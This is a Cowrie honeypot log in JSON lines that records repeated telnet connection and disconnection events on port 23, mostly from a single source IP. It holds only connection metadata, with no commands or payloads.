{"eventid":"cowrie.session.closed","duration":3.7548024654388428,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:40.015450Z","src_ip":"162.55.233.176","session":"89ce19bf082d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.62842917442322,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:40.232335Z","src_ip":"162.55.233.176","session":"21cfd8425fa3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46372,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa6c1dd5e027","protocol":"telnet","message":"New connection: 162.55.233.176:46372 (159.203.135.109:23) [session: aa6c1dd5e027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:40.319238Z"}
{"eventid":"cowrie.session.closed","duration":30.725603342056274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:40.420213Z","src_ip":"162.55.233.176","session":"50fff846a346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46388,"dst_ip":"159.203.135.109","dst_port":23,"session":"d08c3f98d2c5","protocol":"telnet","message":"New connection: 162.55.233.176:46388 (159.203.135.109:23) [session: d08c3f98d2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:40.609054Z"}
{"eventid":"cowrie.session.closed","duration":31.816614389419556,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:40.728933Z","src_ip":"162.55.233.176","session":"47ef501cbd3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00308060646057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:40.843088Z","src_ip":"162.55.233.176","session":"fb748b23a0d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.094783544540405,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:40.902096Z","src_ip":"162.55.233.176","session":"ca6d695e7d8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46392,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2aa6970d69d","protocol":"telnet","message":"New connection: 162.55.233.176:46392 (159.203.135.109:23) [session: c2aa6970d69d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:41.134951Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46398,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bed839860fa","protocol":"telnet","message":"New connection: 162.55.233.176:46398 (159.203.135.109:23) [session: 9bed839860fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:41.312826Z"}
{"eventid":"cowrie.session.closed","duration":31.60418152809143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:41.935133Z","src_ip":"162.55.233.176","session":"0c324d3f5d16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46408,"dst_ip":"159.203.135.109","dst_port":23,"session":"c682e45e1b75","protocol":"telnet","message":"New connection: 162.55.233.176:46408 (159.203.135.109:23) [session: c682e45e1b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:42.288966Z"}
{"eventid":"cowrie.session.closed","duration":30.606489896774292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:42.556546Z","src_ip":"162.55.233.176","session":"8e2f052f6769","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04719805717468,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:42.664005Z","src_ip":"162.55.233.176","session":"3e3cc45515fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.884361743927002,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:43.144704Z","src_ip":"162.55.233.176","session":"a83cd0895ea6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34296,"dst_ip":"159.203.135.109","dst_port":23,"session":"e07359ad703a","protocol":"telnet","message":"New connection: 162.55.233.176:34296 (159.203.135.109:23) [session: e07359ad703a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:43.338820Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34302,"dst_ip":"159.203.135.109","dst_port":23,"session":"6abcf5eb0f22","protocol":"telnet","message":"New connection: 162.55.233.176:34302 (159.203.135.109:23) [session: 6abcf5eb0f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:43.414789Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34304,"dst_ip":"159.203.135.109","dst_port":23,"session":"92d639686f78","protocol":"telnet","message":"New connection: 162.55.233.176:34304 (159.203.135.109:23) [session: 92d639686f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:44.554036Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34320,"dst_ip":"159.203.135.109","dst_port":23,"session":"086a138a9fda","protocol":"telnet","message":"New connection: 162.55.233.176:34320 (159.203.135.109:23) [session: 086a138a9fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:44.749898Z"}
{"eventid":"cowrie.session.closed","duration":31.694600105285645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:44.999159Z","src_ip":"162.55.233.176","session":"e6ff5638c1d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":44570,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff13493e806f","protocol":"telnet","message":"New connection: 188.208.141.113:44570 (10.17.0.5:23) [session: ff13493e806f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:45.333112Z"}
{"eventid":"cowrie.session.closed","duration":32.58954119682312,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:45.758972Z","src_ip":"162.55.233.176","session":"a529b8bb0de8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.534024953842163,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:45.885934Z","src_ip":"162.55.233.176","session":"a01c1b56de8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.63764452934265,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:45.996953Z","src_ip":"162.55.233.176","session":"4a0a8bd5f128","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34322,"dst_ip":"159.203.135.109","dst_port":23,"session":"127d9c14e006","protocol":"telnet","message":"New connection: 162.55.233.176:34322 (159.203.135.109:23) [session: 127d9c14e006]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:46.043753Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44564,"dst_ip":"10.17.0.5","dst_port":23,"session":"c356f9636055","protocol":"telnet","message":"New connection: 206.189.32.23:44564 (10.17.0.5:23) [session: c356f9636055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:46.347133Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34334,"dst_ip":"159.203.135.109","dst_port":23,"session":"b783c8da1ef4","protocol":"telnet","message":"New connection: 162.55.233.176:34334 (159.203.135.109:23) [session: b783c8da1ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:46.702523Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34348,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ee1acdc7dc6","protocol":"telnet","message":"New connection: 162.55.233.176:34348 (159.203.135.109:23) [session: 7ee1acdc7dc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:47.306822Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34356,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e1ca0548329","protocol":"telnet","message":"New connection: 162.55.233.176:34356 (159.203.135.109:23) [session: 6e1ca0548329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:47.334785Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34366,"dst_ip":"159.203.135.109","dst_port":23,"session":"5710123eb9d9","protocol":"telnet","message":"New connection: 162.55.233.176:34366 (159.203.135.109:23) [session: 5710123eb9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:47.439870Z"}
{"eventid":"cowrie.session.closed","duration":31.78278613090515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:47.876611Z","src_ip":"162.55.233.176","session":"3de44aee1d4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34368,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7a63b968bac","protocol":"telnet","message":"New connection: 162.55.233.176:34368 (159.203.135.109:23) [session: e7a63b968bac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:48.455958Z"}
{"eventid":"cowrie.session.closed","duration":32.089879274368286,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:48.782812Z","src_ip":"162.55.233.176","session":"664037f732ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.894349575042725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:49.197830Z","src_ip":"162.55.233.176","session":"6aed24799537","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34380,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd7278c3eae7","protocol":"telnet","message":"New connection: 162.55.233.176:34380 (159.203.135.109:23) [session: fd7278c3eae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:49.414263Z"}
{"eventid":"cowrie.session.closed","duration":35.75892639160156,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:49.453963Z","src_ip":"188.208.141.113","session":"2a4c9ecd827e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34384,"dst_ip":"159.203.135.109","dst_port":23,"session":"710017d39bdf","protocol":"telnet","message":"New connection: 162.55.233.176:34384 (159.203.135.109:23) [session: 710017d39bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:49.491621Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34386,"dst_ip":"159.203.135.109","dst_port":23,"session":"dabfcea57300","protocol":"telnet","message":"New connection: 162.55.233.176:34386 (159.203.135.109:23) [session: dabfcea57300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:49.506404Z"}
{"eventid":"cowrie.session.closed","duration":36.7014639377594,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:49.583390Z","src_ip":"162.55.233.176","session":"4d85521c3aad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.38940215110779,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:49.777490Z","src_ip":"162.55.233.176","session":"2cdddb69dc56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.68680548667908,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:49.807417Z","src_ip":"162.55.233.176","session":"13e1006e8cfb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34392,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d44476a07ba","protocol":"telnet","message":"New connection: 162.55.233.176:34392 (159.203.135.109:23) [session: 3d44476a07ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:50.026612Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34402,"dst_ip":"159.203.135.109","dst_port":23,"session":"06e67f382a13","protocol":"telnet","message":"New connection: 162.55.233.176:34402 (159.203.135.109:23) [session: 06e67f382a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:50.359336Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34416,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cb56957a8d6","protocol":"telnet","message":"New connection: 162.55.233.176:34416 (159.203.135.109:23) [session: 0cb56957a8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:50.400673Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34428,"dst_ip":"159.203.135.109","dst_port":23,"session":"f481367bb678","protocol":"telnet","message":"New connection: 162.55.233.176:34428 (159.203.135.109:23) [session: f481367bb678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:50.582386Z"}
{"eventid":"cowrie.session.closed","duration":38.18228888511658,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:50.691039Z","src_ip":"162.55.233.176","session":"622268ef6560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34434,"dst_ip":"159.203.135.109","dst_port":23,"session":"2df7e69706d0","protocol":"telnet","message":"New connection: 162.55.233.176:34434 (159.203.135.109:23) [session: 2df7e69706d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:50.784850Z"}
{"eventid":"cowrie.session.closed","duration":35.76200532913208,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:51.120734Z","src_ip":"162.55.233.176","session":"b81282e944c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34440,"dst_ip":"159.203.135.109","dst_port":23,"session":"72ce538f4351","protocol":"telnet","message":"New connection: 162.55.233.176:34440 (159.203.135.109:23) [session: 72ce538f4351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:51.460786Z"}
{"eventid":"cowrie.session.closed","duration":31.25841450691223,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:51.735502Z","src_ip":"162.55.233.176","session":"7b8cb3d3848b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34444,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7f91e2d50f6","protocol":"telnet","message":"New connection: 162.55.233.176:34444 (159.203.135.109:23) [session: b7f91e2d50f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:51.802513Z"}
{"eventid":"cowrie.session.closed","duration":6.644251108169556,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:51.977269Z","src_ip":"188.208.141.113","session":"ff13493e806f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34454,"dst_ip":"159.203.135.109","dst_port":23,"session":"700a2039a55f","protocol":"telnet","message":"New connection: 162.55.233.176:34454 (159.203.135.109:23) [session: 700a2039a55f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:52.019846Z"}
{"eventid":"cowrie.session.closed","duration":32.694836378097534,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:52.381686Z","src_ip":"162.55.233.176","session":"149aa07da38f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34470,"dst_ip":"159.203.135.109","dst_port":23,"session":"6016a29a3ca8","protocol":"telnet","message":"New connection: 162.55.233.176:34470 (159.203.135.109:23) [session: 6016a29a3ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:52.416854Z"}
{"eventid":"cowrie.session.closed","duration":41.758469581604004,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:52.495344Z","src_ip":"206.189.32.23","session":"abd88a705b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34478,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f7cdf2d7c32","protocol":"telnet","message":"New connection: 162.55.233.176:34478 (159.203.135.109:23) [session: 2f7cdf2d7c32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:52.533262Z"}
{"eventid":"cowrie.session.closed","duration":31.561261653900146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:52.714912Z","src_ip":"162.55.233.176","session":"284013ef0b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":53288,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc59ea218988","protocol":"telnet","message":"New connection: 206.189.32.23:53288 (10.17.0.5:23) [session: fc59ea218988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:52.798704Z"}
{"eventid":"cowrie.session.closed","duration":30.35746431350708,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:53.170403Z","src_ip":"162.55.233.176","session":"e42d743e2ee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43000,"dst_ip":"159.203.135.109","dst_port":23,"session":"c62f7ce6c14b","protocol":"telnet","message":"New connection: 162.55.233.176:43000 (159.203.135.109:23) [session: c62f7ce6c14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:53.257042Z"}
{"eventid":"cowrie.session.closed","duration":31.340038061141968,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:53.607059Z","src_ip":"162.55.233.176","session":"dfe261b19956","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43016,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0805e5baaeb","protocol":"telnet","message":"New connection: 162.55.233.176:43016 (159.203.135.109:23) [session: e0805e5baaeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:53.735865Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43018,"dst_ip":"159.203.135.109","dst_port":23,"session":"285ea37ebc7c","protocol":"telnet","message":"New connection: 162.55.233.176:43018 (159.203.135.109:23) [session: 285ea37ebc7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:53.896371Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43034,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0fb081804ec","protocol":"telnet","message":"New connection: 162.55.233.176:43034 (159.203.135.109:23) [session: e0fb081804ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:54.175000Z"}
{"eventid":"cowrie.session.closed","duration":33.523808002471924,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:54.222102Z","src_ip":"162.55.233.176","session":"68fa9c3438fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43044,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e95c3e09b65","protocol":"telnet","message":"New connection: 162.55.233.176:43044 (159.203.135.109:23) [session: 1e95c3e09b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:54.231520Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43048,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13fe0217b9a","protocol":"telnet","message":"New connection: 162.55.233.176:43048 (159.203.135.109:23) [session: b13fe0217b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:54.483125Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43054,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fecf99076f5","protocol":"telnet","message":"New connection: 162.55.233.176:43054 (159.203.135.109:23) [session: 1fecf99076f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:54.721022Z"}
{"eventid":"cowrie.session.closed","duration":38.89614152908325,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:54.885847Z","src_ip":"162.55.233.176","session":"b931d39c0117","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.89749503135681,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:54.891898Z","src_ip":"162.55.233.176","session":"f301a0ec9423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43056,"dst_ip":"159.203.135.109","dst_port":23,"session":"c060712b5baf","protocol":"telnet","message":"New connection: 162.55.233.176:43056 (159.203.135.109:23) [session: c060712b5baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:55.096221Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37358,"dst_ip":"10.17.0.5","dst_port":23,"session":"b10d74ffe66d","protocol":"telnet","message":"New connection: 188.208.141.113:37358 (10.17.0.5:23) [session: b10d74ffe66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:55.270500Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43072,"dst_ip":"159.203.135.109","dst_port":23,"session":"342eb86923d1","protocol":"telnet","message":"New connection: 162.55.233.176:43072 (159.203.135.109:23) [session: 342eb86923d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:55.283652Z"}
{"eventid":"cowrie.session.closed","duration":35.95115351676941,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:55.345691Z","src_ip":"162.55.233.176","session":"018a6f810b0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43084,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a0ce514cc9b","protocol":"telnet","message":"New connection: 162.55.233.176:43084 (159.203.135.109:23) [session: 9a0ce514cc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:56.555882Z"}
{"eventid":"cowrie.session.closed","duration":32.29457330703735,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:56.920866Z","src_ip":"162.55.233.176","session":"8125ffa62c8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":57364,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffb7b0c27128","protocol":"telnet","message":"New connection: 206.189.32.23:57364 (10.17.0.5:23) [session: ffb7b0c27128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:57.066046Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43094,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bb4abd02087","protocol":"telnet","message":"New connection: 162.55.233.176:43094 (159.203.135.109:23) [session: 6bb4abd02087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:57.083459Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43104,"dst_ip":"159.203.135.109","dst_port":23,"session":"290fbac21c4a","protocol":"telnet","message":"New connection: 162.55.233.176:43104 (159.203.135.109:23) [session: 290fbac21c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:05:57.175724Z"}
